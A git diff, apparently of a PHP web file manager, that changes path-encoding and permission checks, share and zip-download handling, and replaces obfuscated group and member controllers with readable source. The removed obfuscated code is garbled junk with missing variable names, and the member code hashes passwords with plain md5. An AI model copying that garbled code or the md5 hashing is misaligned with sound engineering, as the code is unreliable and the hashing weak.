+ $list['group_space_use'] = $group['config'];//自己 + } + if($GLOBALS['is_root']){ + $list['info']['admin_real_path'] = GROUP_PATH.$group['path'].'/home/'; + } + } + } +} \ No newline at end of file diff --git a/controller/setting.class.php b/controller/setting.class.php index a44a87b..534733b 100755 --- a/controller/setting.class.php +++ b/controller/setting.class.php @@ -87,7 +87,7 @@ class setting extends Controller{ */ public function set(){ $file = USER.'data/config.php'; - if (!is_writeable($file)) {//配置不可写 + if (!path_writeable(iconv_system($file))) {//配置不可写 show_json($this->L['no_permission_write_file'],false); } $key = $this->in['k']; diff --git a/controller/share.class.php b/controller/share.class.php index 0378919..c91938c 100755 --- a/controller/share.class.php +++ b/controller/share.class.php @@ -38,7 +38,7 @@ class share extends Controller{ $member = system_member::load_data(); $user = $member->get($this->in['user']); $share_data = USER_PATH.$user['path'].'/data/share.php'; - if (!file_exists($share_data)) { + if (!file_exists(iconv_system($share_data))) { $this->error($this->L['share_error_user']); } $this->sql=new fileCache($share_data); @@ -194,6 +194,7 @@ class share extends Controller{ $out = ob_get_clean(); $the_config = array( 'lang' => LANGUAGE_TYPE, + 'system_os' => $this->config['system_os'], 'is_root' => 0, 'web_root' => '', 'web_host' => HOST, @@ -203,6 +204,7 @@ class share extends Controller{ 'version_desc' => isset($this->config['settings']['version_desc'])?$this->config['settings']['version_desc']:"", 'upload_max' => file_upload_size(), + 'param_rewrite' => $this->config['settings']['param_rewrite'], 'json_data' => "", 'share_page' => 'share' ); @@ -235,7 +237,25 @@ class share extends Controller{ //属性查看,单个文件则生成临时下载地址。没有权限则不显示 if (count($info_list)==1 && $info_list[0]['type']!='folder') {//单个文件 - $data['file_md5'] = @md5_file($info_list[0]['path']); + $file = $info_list[0]['path']; + if($this->share_info['not_download']!='1'){ + $data['download_path'] = _make_file_proxy($file); + } + if($data['size'] < 100*1024|| isset($this->in['get_md5'])){ + $data['file_md5'] = @md5_file($file); + }else{ + $data['file_md5'] = "..."; + } + + //获取图片尺寸 + $ext = get_path_ext($file); + if(in_array($ext,array('jpg','gif','png','jpeg','bmp')) ){ + load_class('imageThumb'); + $size = imageThumb::imageSize($file); + if($size){ + $data['image_size'] = $size; + } + } } show_json($data); } @@ -380,7 +400,7 @@ class share extends Controller{ show_json($this->L['no_permission_ext'],false); } $save_path = $this->share_path.$this->_clear($this->in['upload_to']); - if (!is_writeable($save_path)) show_json($this->L['no_permission_write'],false); + if (!path_writeable($save_path)) show_json($this->L['no_permission_write'],false); if ($save_path == '') show_json($this->L['upload_error_big'],false); if (strlen($this->in['fullPath']) > 1) {//folder drag upload @@ -393,9 +413,9 @@ class share extends Controller{ } //分片上传 - $temp_dir = USER_TEMP; + $temp_dir = iconv_system(USER_TEMP); mk_dir($temp_dir); - if (!is_writeable($temp_dir)) show_json($this->L['no_permission_write'],false); + if (!path_writeable($temp_dir)) show_json($this->L['no_permission_write'],false); upload_chunk('file',$save_path,$temp_dir,'rename'); } @@ -426,16 +446,17 @@ class share extends Controller{ show_json($this->L['share_not_download_tips'],false); } $path = _DIR_CLEAR($this->in['path']); - $path = USER_TEMP.iconv_system($path); + $path = iconv_system(USER_TEMP.$path); file_put_out($path,true); del_file($path); } public function zipDownload(){ $this->share_download_add(); - if(!file_exists(USER_TEMP)){ - mkdir(USER_TEMP); + $user_temp = iconv_system(USER_TEMP); + if(!file_exists($user_temp)){ + mkdir($user_temp); }else{//清除未删除的临时文件,一天前 - $list = path_list(USER_TEMP,true,false); + $list = path_list($user_temp,true,false); $max_time = 3600*24; if ($list['filelist']>=1) { for ($i=0; $i < count($list['filelist']); $i++) { @@ -446,7 +467,7 @@ class share extends Controller{ } } } - $zip_file = $this->zip(USER_TEMP); + $zip_file = $this->zip($user_temp); show_json($this->L['zip_success'],true,get_path_this($zip_file)); } private function zip($zip_path){ @@ -455,25 +476,29 @@ class share extends Controller{ } load_class('pclzip'); ini_set('memory_limit', '2028M');//2G; + $zip_list = json_decode($this->in['list'],true); $list_num = count($zip_list); - for ($i=0; $i<$list_num; $i++) { - $zip_list[$i]['path'] = _DIR_CLEAR($this->path.$this->_clear($zip_list[$i]['path'])); - } - - //指定目录 - if ($list_num == 1) { - $path_this_name=get_path_this($zip_list[0]['path']); - }else{ - $path_this_name=get_path_this(get_path_father($zip_list[0]['path'])); - } - $zipname = $zip_path.$path_this_name.'.zip'; - $zipname = get_filename_auto($zipname,date(' h.i.s')); $files = array(); for ($i=0; $i < $list_num; $i++) { - $files[] = $zip_list[$i]['path']; + $item = _DIR_CLEAR($this->path.$this->_clear($zip_list[$i]['path'])); + if(file_exists($item)){ + $files[] = $item; + } + } + if(count($files)==0){ + show_json($this->L['not_exists'],false); } + + //指定目录 + if (count($files) == 1) { + $path_this_name=get_path_this($files[0]); + }else{ + $path_this_name=get_path_this(get_path_father($files[0])); + } + $zipname = $zip_path.$path_this_name.'.zip'; + $zipname = get_filename_auto($zipname,date('_H-i-s')); $archive = new PclZip($zipname); foreach ($files as $key =>$val) { $remove_path_pre = _DIR_CLEAR(get_path_father($val)); @@ -482,6 +507,7 @@ class share extends Controller{ PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' ); + continue; } $v_list = $archive->add($val, PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, @@ -499,7 +525,7 @@ class share extends Controller{ if (!file_exists($filename)){ show_json($this->L['not_exists'],false); } - if (!is_readable($filename)){ + if (!path_readable($filename)){ show_json($this->L['no_permission_read'],false); } if (filesize($filename) >= 1024*1024*20){ diff --git a/controller/system_group.class.php b/controller/system_group.class.php index 2de76ba..bac47bf 100755 --- a/controller/system_group.class.php +++ b/controller/system_group.class.php @@ -1 +1,283 @@ -sql=self::load_data();ʁތ˯ƖΈث˕ɕҡʩŤ۠㘽ܑ눵;$this->_init();}public static function load_data(){if(is_null(self::$static_sql)){self::$static_sql=system_group_data();}return self::$static_sql;}public static function get_info($){$=self::load_data();return $->get($);ځǓ܁Ρ;}public static function space_change($,$=false){$=self::load_data();אٚ;$=$->get($);if(!is_array($)){show_json($this->L["data_not_full"],!1);}if($===!1){$=_path_info_more(GROUP_PATH.$['path'].'/');$ȑ=$['size'];if(isset($['home_path'])&& file_exists(iconv_app($['home_path']))){$=_path_info_more(iconv_app($['home_path']));$ȑ+= $['size'];}}else{$ȑ=floatval($['config']['size_use'])+floatval($);}$['config']['size_use']=$ȑ<0?0:$ȑ;􉛜а;$->set($,$);ΆǎӗȀӮ׹ܢ֧ʠֵ;}public static function space_check($){$=self::load_data();$=$->get($);¨;if(!is_array($)){show_json($this->L["data_not_full"],!1);}$׻=floatval($['config']['size_use']);$=floatval($['config']['size_max']);if($!=0&& $*0x0000040000000<$׻){show_json($GLOBALS['L']['space_is_full'],!1);}}private function _init(){if(count($this->sql->get())>0)return;$=array('1' =>array('group_id' =>'1','name' =>'root','parent_id' =>'','children' =>'','config' =>array('size_max' =>floatval(1.5),'size_use' =>floatval(0x00000400*0x00000400)),'path' =>hash_path(),'create_time'=> time(),));іĉך֟չ៞け;$this->sql->reset($);쌂اͯыÛԨ;}public static function _filter_list($ަ,$='path'){if($GLOBALS['is_root'])return $ަ;foreach($ަ as $=>&$ݷ){unset($ݷ[$]);}return $ަ;}public function get(){$ũ=self::_filter_list($this->sql->get());show_json($ũ,!0);φ͎ͤžѓ;}public function add(){if(!isset($this->in['name'])|| !isset($this->in['parent_id'])|| !isset($this->in['size_max']))show_json($this->L["data_not_full"],!1);$=$this->sql->get_max_id().'';$=array('group_id' =>$,'name' =>rawurldecode($this->in['name']),'parent_id' =>$this->in['parent_id'],'children' =>'','config' =>array('size_max' =>floatval($this->in['size_max']),'size_use' =>floatval(0x00000400*0x00000400)),'path' =>hash_path($this->in['name']),'create_time'=> time(),);if(isset($this->in['home_path'])){$['home_path']=_DIR(rawurldecode($this->in['home_path']));if(!file_exists($['home_path'])){show_json($this->L['not_exists'],!1);}$['home_path']=iconv_app($['home_path']);}else{unset($['home_path']);;}$this->_parent_child_change($,!0);;if($this->sql->set($,$)){$this->_initDir($['path']);show_json($this->L['success']);}show_json($this->L['error'],!1);}public function edit(){if(!$this->in['group_id'])show_json($this->L["data_not_full"],!1);$=$this->sql->get($this->in['group_id']);if(!is_array($)){show_json($this->L['not_exists'],!1);}if(isset($this->in['name'])){$['name']=rawurldecode($this->in['name']);}if(isset($this->in['size_max'])){$['config']['size_max']=floatval($this->in['size_max']);}if(isset($this->in['parent_id'])&& $['parent_id']!='' && $this->in['parent_id']!=$['parent_id']){$=explode(',',$['children']);if(in_array($this->in['parent_id'],$)){show_json($this->L['current_has_parent'],!1);}self::space_change($this->in['group_id']);$this->_parent_child_change($,!1);Ǭ߇Ʌ;$['parent_id']=$this->in['parent_id'];و;$this->_parent_child_change($,!0);}if(isset($this->in['home_path'])){$['home_path']=_DIR(rawurldecode($this->in['home_path']));if(!file_exists($['home_path'])){show_json($this->L['not_exists'],!1);}$['home_path']=iconv_app($['home_path']);}else{unset($['home_path']);}if($!=$this->sql->get($this->in['group_id'])){$this->sql->set($this->in['group_id'],$);}show_json($this->L['success']);}public function del(){if(!isset($this->in['group_id']))show_json($this->L["data_not_full"],!1);if(strlen($this->in['group_id'])<=0x001)show_json($this->L['default_user_can_not_do'],!1);$=$this->sql->get($this->in['group_id']);Жݗﲡ«˱ѐ;$this->_parent_child_change($,!1);$this->sql->set(array('parent_id',$["group_id"]),array('parent_id','1'));system_member::group_remove_user_update($["group_id"]);$this->sql->remove($this->in['group_id']);if(strlen($['path'])!=0){del_dir(GROUP_PATH.$['path'].'/');show_json($this->L['success']);}show_json($this->L['error'],!1);}private function _parent_child_change($,$){if(!is_array($)){show_json($this->L['not_exists'],!1);}if($['parent_id']==0x001){return;}$=$['group_id'];$=explode(',',$['children']);if($[0]==''){unset($[0]);}$[]=$['group_id'];while(strlen($['group_id'])>0x0002){$=$this->sql->get($['parent_id']);if(!is_array($)){show_json($this->L['not_exists'],!1);}$=explode(',',$['children']);if($[0]==''){unset($[0]);}if($){foreach($ as $=>$){$[]=$;}}else{foreach($ as $=>$){if(in_array($,$))unset($[$]);}}$=implode(',',$);if($!=$['children']){$['children']=$;$this->sql->set($['group_id'],$);}}}private function _initDir($⌀){$=array('home','data');$庅=$this->config['setting_system']['new_group_folder'];񏲲ړ;$=explode(',',$庅);꟤ѱӊʛҀȱĉǮٱĐߙ˷޿;$⌀=GROUP_PATH.$⌀.'/';mk_dir($⌀);foreach($ as $Ա){mk_dir($⌀.$Ա);}foreach($ as $Ա){mk_dir($⌀.'home/'.iconv_system($Ա));}}} \ No newline at end of file +sql= self::load_data(); + $this->_init(); + } + + //保证只加载一次文件 + public static function load_data(){ + if(is_null(self::$static_sql)){ + self::$static_sql = system_group_data(); + } + return self::$static_sql; + } + public static function get_info($the_id){ + $sql = self::load_data(); + return $sql->get($the_id); + } + + /** + * 空间使用变更 + * @param [type] $the_id [user_id or group_id] + * @param [type] $use_size_add [变更的大小 size_max G为单位 size_use Byte为单位] + */ + public static function space_change($the_id,$use_size_add=false){ + $sql = self::load_data(); + $info = $sql->get($the_id); + if(!is_array($info)){ + show_json($this->L["data_not_full"],false); + } + if($use_size_add===false){//重置用户空间;避免覆盖、解压等导致的问题 + $pathinfo = _path_info_more(GROUP_PATH.$info['path'].'/'); + $current_use = $pathinfo['size']; + if(isset($info['home_path']) && file_exists(iconv_system($info['home_path']))){ + $pathinfo = _path_info_more(iconv_system($info['home_path'])); + $current_use += $pathinfo['size']; + } + }else{ + $current_use = floatval($info['config']['size_use'])+floatval($use_size_add); + } + $info['config']['size_use'] = $current_use<0?0:$current_use; + $sql->set($the_id,$info); + } + + /** + * 空间剩余检测 + * 1073741824 —— 1G + */ + public static function space_check($the_id){ + $sql = self::load_data(); + $info = $sql->get($the_id); + if(!is_array($info)){ + show_json($this->L["data_not_full"],false); + } + $size_use = floatval($info['config']['size_use']); + $size_max = floatval($info['config']['size_max']); + if($size_max!=0 && $size_max*1073741824<$size_use){ + show_json($GLOBALS['L']['space_is_full'],false); + } + } + + //管理员调用 + //=================== + private function _init(){ + if(count($this->sql->get()) > 0) return; + $default = array( + '1' =>array( + 'group_id' => '1', + 'name' => 'root', + 'parent_id' => '', + 'children' => '', + 'config' => array('size_max' => floatval(1.5), + 'size_use' => floatval(1024*1024)),//总大小,目前使用大小 + 'path' => 'root', + 'create_time'=> time(), + ) + ); + $this->sql->reset($default); + $this->_initDir($default[0]['path']); + } + //删除 path id + public static function _filter_list($list,$filter_key = 'path'){ + if($GLOBALS['is_root']) return $list; + foreach ($list as $key => &$val) { + unset($val[$filter_key]); + } + return $list; + } + + public function get() { + $items = self::_filter_list($this->sql->get()); + show_json($items,true); + } + + /** + * 群组添加 + * system_group/add&name=t1&parent_id=101&size_max=0 + */ + public function add(){ + if (!isset($this->in['name']) || //必填项 + !isset($this->in['parent_id']) || + !isset($this->in['size_max']) + ) show_json($this->L["data_not_full"],false); + + //名称可以重复 + $group_id = $this->sql->get_max_id().''; + $group_name = rawurldecode($this->in['name']); + $group_info = array( + 'group_id' => $group_id, + 'name' => $group_name, + 'parent_id' => $this->in['parent_id'], + 'children' => '', + 'config' => array('size_max' => floatval($this->in['size_max']),//G + 'size_use' => floatval(1024*1024)),//总大小,目前使用大小 + 'path' => make_path($group_name), + 'create_time'=> time(), + ); + if(file_exists(iconv_system(GROUP_PATH.$group_info['path'])) ){ + $group_info['path'] = make_path($group_info['path'].'_'.$group_info['group_id']); + } + + //用户组目录 + if( isset($this->in['home_path'])){ + $group_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); + if(!file_exists($group_info['home_path'])){ + show_json($this->L['not_exists'],false); + } + $group_info['home_path'] = iconv_app($group_info['home_path']); + }else{ + unset($group_info['home_path']); + } + $this->_parent_child_change($group_info,true);//更新父节点 + if ($this->sql->set($group_id,$group_info)) { + $this->_initDir($group_info['path']); + show_json($this->L['success']); + } + show_json($this->L['error'],false); + } + + /** + * 编辑 system_group/edit&group_id=101&name=warlee&size_max=0&parent_id + */ + public function edit() { + if (!$this->in['group_id']) show_json($this->L["data_not_full"],false); + $group_info = $this->sql->get($this->in['group_id']); + if(!is_array($group_info)){//用户不存在 + show_json($this->L['not_exists'],false); + } + + //name size_max parent_id + if(isset($this->in['name'])){ + $group_info['name'] = rawurldecode($this->in['name']); + } + if(isset($this->in['size_max'])){ + $group_info['config']['size_max'] = floatval($this->in['size_max']); + } + if( isset($this->in['parent_id']) && + $group_info['parent_id']!= '' && //根目录不能修改父节点 + $this->in['parent_id']!=$group_info['parent_id']){//父节点变更 + + $child_change = explode(',',$group_info['children']); + if(in_array($this->in['parent_id'],$child_change)){//不能移动到子节点;死循环 + show_json($this->L['current_has_parent'],false); + } + self::space_change($this->in['group_id']);//重置用户使用空间 + $this->_parent_child_change($group_info,false);//向所有父节点,删除包含此节点的children + $group_info['parent_id'] = $this->in['parent_id']; + $this->_parent_child_change($group_info,true);//向所有新的父节点,添加包含此节点的children + } + + //用户组目录 + if( isset($this->in['home_path'])){ + $group_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); + if(!file_exists($group_info['home_path'])){ + show_json($this->L['not_exists'],false); + } + $group_info['home_path'] = iconv_app($group_info['home_path']); + }else{ + unset($group_info['home_path']); + } + if($group_info != $this->sql->get($this->in['group_id'])){ + $this->sql->set($this->in['group_id'],$group_info); + } + show_json($this->L['success']); + } + + /** + * 删除 ?system_member/del&user_id=102 + */ + public function del() { + if (!isset($this->in['group_id'])) show_json($this->L["data_not_full"],false); + if (strlen($this->in['group_id']) <= 1) show_json($this->L['default_user_can_not_do'],false); + $group_info = $this->sql->get($this->in['group_id']); + $this->_parent_child_change($group_info,false);//向所有父节点,删除包含此节点的children + $this->sql->set(//将该节点的子节点的父节点设置为根目录 + array('parent_id',$group_info["group_id"]), + array('parent_id','1') + ); + system_member::group_remove_user_update($group_info["group_id"]);//用户所在组变更 + $this->sql->remove($this->in['group_id']); + + if( strlen($group_info['path'])!=0){ + del_dir(iconv_system(GROUP_PATH.$group_info['path'].'/')); + show_json($this->L['success']); + } + show_json($this->L['error'],false); + } + + + //============内部处理函数============= + //回溯更改节点的children + private function _parent_child_change($group_info,$is_add){ + if(!is_array($group_info)){ + show_json($this->L['not_exists'],false); + } + if($group_info['parent_id'] == 1){ + return; + } + $first_id = $group_info['group_id']; + $child_change = explode(',',$group_info['children']); + if($child_change[0]==''){ + unset($child_change[0]); + } + $child_change[] = $group_info['group_id'];//包含当前 + while(strlen($group_info['group_id'])>2){//节点id从100开始 + $group_info = $this->sql->get($group_info['parent_id']); + if(!is_array($group_info)){ + show_json($this->L['not_exists'],false); + } + $children_new = explode(',',$group_info['children']); + if($children_new[0]==''){ + unset($children_new[0]); + } + if($is_add){//添加 + foreach ($child_change as $key=>$val) { + $children_new[] = $val; + } + }else{//删除 + foreach ($children_new as $key=>$val) { + if(in_array($val,$child_change)) + unset($children_new[$key]); + } + } + $child_str = implode(',',$children_new); + if($child_str != $group_info['children']){//有变更 + $group_info['children'] = $child_str; + $this->sql->set($group_info['group_id'],$group_info); + } + } + } + + // + /** + *初始化用户数据和配置。 + */ + private function _initDir($path){ + $root = array('home','data');//recycle + $new_group_folder = $this->config['setting_system']['new_group_folder']; + if(!is_array($new_group_folder)){ + $new_group_folder = $this->config['setting_system_default']['new_group_folder']; + } + $home = explode(',',$new_group_folder); + $path = GROUP_PATH.$path.'/'; + foreach ($root as $dir) { + mk_dir(iconv_system($path.$dir)); + } + foreach ($home as $dir) { + mk_dir(iconv_system($path.'home/'.$dir)); + } + } +} diff --git a/controller/system_member.class.php b/controller/system_member.class.php index 68a3c2b..40b47c1 100755 --- a/controller/system_member.class.php +++ b/controller/system_member.class.php @@ -1 +1,476 @@ -tpl=TEMPLATE.'member/';Ƚ;$this->sql=self::load_data();}public static function load_data(){if(is_null(self::$static_sql)){self::$static_sql=system_member_data();}return self::$static_sql;}public static function get_info($ˬ){$=self::load_data();return $->get($ˬ);㺑޶҉ﯲ;}public static function space_change($,$=false){$ć=self::load_data();$=$ć->get($);if(!is_array($)){show_json($this->L["data_not_full"],!1);}if($===!1){$ߑ=_path_info_more(USER_PATH.$['path'].'/');$=$ߑ['size'];if(isset($['home_path'])&& file_exists(iconv_app($['home_path']))){$ߑ=_path_info_more(iconv_app($['home_path']));$+= $ߑ['size'];}}else{$=floatval($['config']['size_use'])+floatval($);ʝǛ㨾ĥƲ󢟻Б֣ۑ;}$['config']['size_use']=$<0?0:$;$ć->set($,$);}public static function space_check($){$=self::load_data();Ҵ֝łÝߧґʅ;$=$->get($);if(!is_array($)){show_json($this->L["data_not_full"],!1);}$=floatval($['config']['size_use']);$=floatval($['config']['size_max']);;if($!=0&& $*0x0000040000000<$){show_json($GLOBALS['L']['space_is_full'],!1);}}public static function group_remove_user_update($){$=self::load_data();$=$->get();foreach($ as $=>$){if(in_array($,array_keys($['group_info']))){unset($['group_info'][$]);$->set($['user_id'],$);}}}public static function role_remove_user_update($){$=self::load_data();;$=$->get();ܜ;foreach($ as $饧=>$){if($['role']==$){$['role']='';$->set($['user_id'],$);}}}public static function user_auth_group($Ӿ){$ҳ=self::load_data();ղڐ;$=$ҳ->get($_SESSION['kod_user']['user_id']);;$͇=$['group_info'];if(!is_array($͇)){return !1;}if(isset($͇[$Ӿ])){return $͇[$Ӿ];}foreach($͇ as $=>$){$Ν=system_group::get_info($);$=explode(',',$Ν['children']);if(in_array($Ӿ,$)){return $͇[$];}}return !1;Ͱбȹ;}public static function _filter_list($,$='path'){if($GLOBALS['is_root'])return $;foreach($ as $=>&$){unset($[$]);ŔŲ;unset($['password']);;}return $;}public static function get_user_at_group($){$ɿ=self::load_data();$Օ=self::_filter_list($ɿ->get());if($=='0'){return $Օ;}$=array();foreach($Օ as $){if(isset($['group_info'][$])){$[]=$;}}return $;;}public static function user_share_sql($ƭ){static $֬;꣑䭑㳶̀؆;if(!is_array($֬)){$֬=array();}if(!isset($֬[$ƭ])){$=system_member::get_info($ƭ);if(!isset($['path'])){return;}$=new fileCache(USER_PATH.$['path'].'/data/share.php');$֬[$ƭ]=$;ˣЋƱNJ;}return $֬[$ƭ];;}public static function user_share_list($حǡ){$=self::user_share_sql($حǡ);ȏބՑ;$=$->get();;if($حǡ==$_SESSION['kod_user']['user_id']){return $;}foreach($ as $=>&$){unset($['share_password']);}return $;}public static function user_share_get($,$¤){$=self::user_share_sql($);return $->get('name',$¤);}public function get($쯢='0'){$=self::get_user_at_group($쯢);show_json($);}public function add(){if(!isset($this->in['name'])|| !isset($this->in['password'])|| !isset($this->in['role'])|| !isset($this->in['group_info'])|| !isset($this->in['size_max']))show_json($this->L["data_not_full"],!1);$=trim(rawurldecode($this->in['name']));坠ֶΦӪ;$=rawurldecode($this->in['password']);$=json_decode(rawurldecode($this->in['group_info']),!0);á紿뒎⼌ﲩлȝګӋʔ϶ê;if(!is_array($)){show_json($this->L["system_member_group_error"],!1);}if($this->sql->get(array('name',$))){show_json($this->L['error_repeat'],!1);}if(!$GLOBALS['is_root']&& $this->in['role']=='1'){show_json($this->L['group_role_error'],!1);}$ޭ=array();if(isset($this->in['isImport'])){$=explode("\n",$);foreach($ as $){if(trim($)!=''){$ޭ[]=trim($);}}}else{$ޭ[]=$;֙֨Ȣ;}$=array();⑶򄩙Ė̏⦋ͨͱ㇁;foreach($ޭ as $){if($this->sql->get('name',$)){$[]=$;continue;}$ރ=$this->sql->get_max_id().'';$❂=array('user_id' =>$ރ,'name' =>$,'password' =>md5($),'role' =>$this->in['role'],'config' =>array('size_max' =>floatval($this->in['size_max']),'size_use' =>0x00000400*0x00000400),'group_info'=> $,'path' =>hash_path($),'status' =>0x001,'last_login'=> '','create_time'=> time(),);if(!$GLOBALS['is_root']){show_json($this->L['no_permission'],!1);}if(isset($this->in['home_path'])){$❂['home_path']=_DIR(rawurldecode($this->in['home_path']));if(!file_exists($❂['home_path'])){show_json($this->L['not_exists'],!1);}$❂['home_path']=iconv_app($❂['home_path']);}else{unset($❂['home_path']);}if($this->sql->set($ރ,$❂)){$this->_initDir($❂['path']);}else{$[]=$;}}$=count($ޭ)-count($);ڜڸ˜Ե;$Ƭ=" success:$";ܽ؞ګѝִ՞ܞϷ;if($==count($ޭ)){show_json($this->L['success'].$Ƭ,!0,$);}else if($!=0){$=" error:".count($);show_json($this->L['success'].$Ƭ.$,!1,implode("\n",$));}else{show_json($this->L['error_repeat'],!1);}}public function edit(){if(!$this->in['user_id'])show_json($this->L["data_not_full"],!1);$à=$this->in['user_id'];$=$this->sql->get($à);Ź⻁ց;if(!$){show_json($this->L['error'],!1);}if(!$GLOBALS['is_root']&& $this->in['role']=='1'){show_json($this->L['group_role_error'],!1);}if(!$GLOBALS['is_root']&& $['role']=='1'){show_json($this->L['group_role_error_admin'],!1);}if($GLOBALS['is_root']&& $_SESSION['kod_user']['user_id']==$à&& $this->in['role']!='1'){show_json($this->L['error'],!1);}$ռ=trim(rawurldecode($this->in['name']));if($['name']!=$ռ){if($this->sql->get(array('name',$ռ))){show_json($this->L['error_repeat'],!1);}}$this->in['name']=rawurlencode($ռ);;$=array('name','role','password','group_info','home_path','status','size_max');;foreach($ as $){if(!isset($this->in[$]))continue;$[$]=rawurldecode($this->in[$]);὾;if($=='password'){$['password']=md5($[$]);}else if($=='size_max'){$['config']['size_max']=floatval($[$]);}else if($=='group_info'){$['group_info']=json_decode(rawurldecode($this->in['group_info']),!0);}}if(!$GLOBALS['is_root']){show_json($this->L['no_permission'],!1);}if(isset($this->in['home_path'])){$['home_path']=_DIR(rawurldecode($this->in['home_path']));if(!file_exists($['home_path'])){show_json($this->L['not_exists'],!1);}$['home_path']=iconv_app($['home_path']);}else{unset($['home_path']);ާ䋬;}if($this->sql->set($à,$)){self::space_change($à);show_json($this->L['success'],!0,$);}show_json($this->L['error_repeat'],!1);}public function do_action(){if(!isset($this->in['user_id'])){show_json($this->L["username_can_not_null"],!1);}$=$this->in['action'];$=json_decode($this->in['user_id'],!0);;if(!is_array($)){show_json($this->L['error'],!1);}if(in_array('1',$)){show_json($this->L['default_user_can_not_do'],!1);}foreach($ as $){switch($){case 'del':$=$this->sql->get($);if($this->sql->remove($)&& $['name']!=''){del_dir(USER_PATH.$['path'].'/');}break;case 'status_set':$ׁ=intval($this->in['param']);$this->sql->set(array('user_id',$),array('status',$ׁ));break;case 'role_set':$=$this->in['param'];෌ᶤԐۛ؝˽鵵掤✅홪;if(!$GLOBALS['is_root']&& $=='1'){show_json($this->L['group_role_error'],!1);}$this->sql->set(array('user_id',$),array('role',$));break;ڛی戵;case 'group_reset':$Ѻ=json_decode($this->in['param'],!0);if(!is_array($Ѻ)){show_json($this->L['error'],!1);}$this->sql->set(array('user_id',$),array('group_info',$Ѻ));break;case 'group_remove_from':$=$this->in['param'];$=$this->sql->get($);unset($['group_info'][$]);Ƽؕȏю嶃ܷҐĥ;$this->sql->set($,$);ݩΊگ߸ȋ;break;Λ鈉؝廛˅ʔɅ؎ߔ;case 'group_add':$Ѻ=json_decode($this->in['param'],!0);򫫎ڦɤܦ꟞ދҶדū;if(!is_array($Ѻ)){show_json($this->L['error'],!1);}$=$this->sql->get($);foreach($Ѻ as $=>$ʃ){$['group_info'][$]=$ʃ;}$this->sql->set($,$);Իĉػ袽ۤŠ瘚;default:break;ċ՚Ϡ;}}show_json($this->L['success']);}public function init_install(){$=system_member::load_data();ޗߩ;$=$->get();䯏NJ;foreach($ as $ī=>&$){$ɨ=hash_path();Ŷ㞊ϑޙʪ₢;$this->_initDir($ɨ);ݴ֞ᄛݏݝǰҥ;$['path']=$ɨ;횎;$['create_time']=time();ƌ֙Ÿɖį;}$->reset($);$=explode(',',$this->config['setting_system']['new_group_folder']);$=system_group::load_data();ğӅҳݚ;$=$->get();foreach($ as $ī=>&$){$ɨ=hash_path();ϏԺٍܙ̝ؗ;$=GROUP_PATH.$ɨ.'/';foreach($ as $){mk_dir($.'home/'.iconv_system($));ض܉ƨ筛֥¢Ζ;}$['path']=$ɨ;$['create_time']=time();ȋ;}$->reset($);ـ;}private function _initDir($){$=array('home','recycle','data');٨ݘ橊;$=explode(',',$this->config['setting_system']['new_user_folder']);ʡޭڇԒЫݛȲۥæ;$=USER_PATH.$.'/';foreach($ as $){mk_dir($.$);ѩڕ;}foreach($ as $){mk_dir($.'home/'.iconv_system($));񔨓⧘䪙;}fileCache::save($.'data/config.php',$this->config['setting_default']);ρƄʭ;}} \ No newline at end of file +tpl = TEMPLATE.'member/'; + $this->sql= self::load_data(); + } + + //保证只加载一次文件 + public static function load_data(){ + if(is_null(self::$static_sql)){ + self::$static_sql = system_member_data(); + } + return self::$static_sql; + } + public static function get_info($the_id){ + $sql = self::load_data(); + return $sql->get($the_id); + } + + /** + * 空间使用变更 + * @param [type] $the_id [user_id or group_id] + * @param [type] $use_size_add [变更的大小 size_max G为单位 size_use Byte为单位] + */ + public static function space_change($the_id,$use_size_add=false){ + $sql = self::load_data(); + $info = $sql->get($the_id); + if(!is_array($info)){ + show_json($this->L["data_not_full"],false); + } + if($use_size_add===false){//重置用户空间;避免覆盖、解压等导致的问题 + $pathinfo = _path_info_more(iconv_system(USER_PATH.$info['path'].'/')); + $current_use = $pathinfo['size']; + if(isset($info['home_path']) && file_exists(iconv_system($info['home_path']))){ + $pathinfo = _path_info_more(iconv_system($info['home_path'])); + $current_use += $pathinfo['size']; + } + }else{ + $current_use = floatval($info['config']['size_use'])+floatval($use_size_add); + } + $info['config']['size_use'] = $current_use<0?0:$current_use; + $sql->set($the_id,$info); + } + /** + * 空间剩余检测 + * 1073741824 —— 1G + */ + public static function space_check($the_id){ + $sql = self::load_data(); + $info = $sql->get($the_id); + if(!is_array($info)){ + show_json($this->L["data_not_full"],false); + } + $size_use = floatval($info['config']['size_use']); + $size_max = floatval($info['config']['size_max']); + if($size_max!=0 && $size_max*1073741824<$size_use){ + show_json($GLOBALS['L']['space_is_full'],false); + } + } + + // 组删除后,所属该组的用户都删除;全局调用 + public static function group_remove_user_update($group_id){ + $sql = self::load_data(); + $user_all = $sql->get(); + foreach ($user_all as $key => $val) { + if(in_array($group_id,array_keys($val['group_info']))){ + unset($val['group_info'][$group_id]); + $sql->set($val['user_id'],$val); + } + } + } + // 权限组删除,所属该组的用户删除权限id + public static function role_remove_user_update($role_id){ + $sql = self::load_data(); + $user_all = $sql->get(); + foreach ($user_all as $key => $val) { + if($val['role'] == $role_id){ + $val['role'] = ''; + $sql->set($val['user_id'],$val); + } + } + } + + //判断自己对某个组的权限 return false/'read'/'write' 174不对 + public static function user_auth_group($group_id){ + $sql = self::load_data(); + $user_info = $sql->get($_SESSION['kod_user']['user_id']); + $group_info = $user_info['group_info'];//自己所在的组 + + if(!is_array($group_info)){ + return false; + } + if(isset($group_info[$group_id])){ + return $group_info[$group_id]; + } + foreach ($group_info as $key => $value) {// + $group = system_group::get_info($key);//测试组,是否在用户所在组的子组 + $arr = explode(',',$group['children']); + if (in_array($group_id,$arr)) { + return $group_info[$key]; + } + } + return false; + } + + //删除 path id + public static function _filter_list($list,$filter_key = 'path'){ + if($GLOBALS['is_root']) return $list; + foreach ($list as $key => &$val) { + unset($val[$filter_key]); + unset($val['password']); + } + return $list; + } + + //获取在某个组的用户 + public static function get_user_at_group($group_id){ + $sql = self::load_data(); + $all_user = self::_filter_list($sql->get()); + if($group_id=='0'){ + return $all_user; + } + $select_user = array(); + foreach ($all_user as $val) { + if(isset($val['group_info'][$group_id])){ + $select_user[] = $val; + } + } + return $select_user; + } + + //缓存用户共享对象======================================= + public static function user_share_sql($user_id){ + static $user_share_arr; + if(!is_array($user_share_arr)){ + $user_share_arr = array(); + } + if(!isset($user_share_arr[$user_id])){ + $user_info = 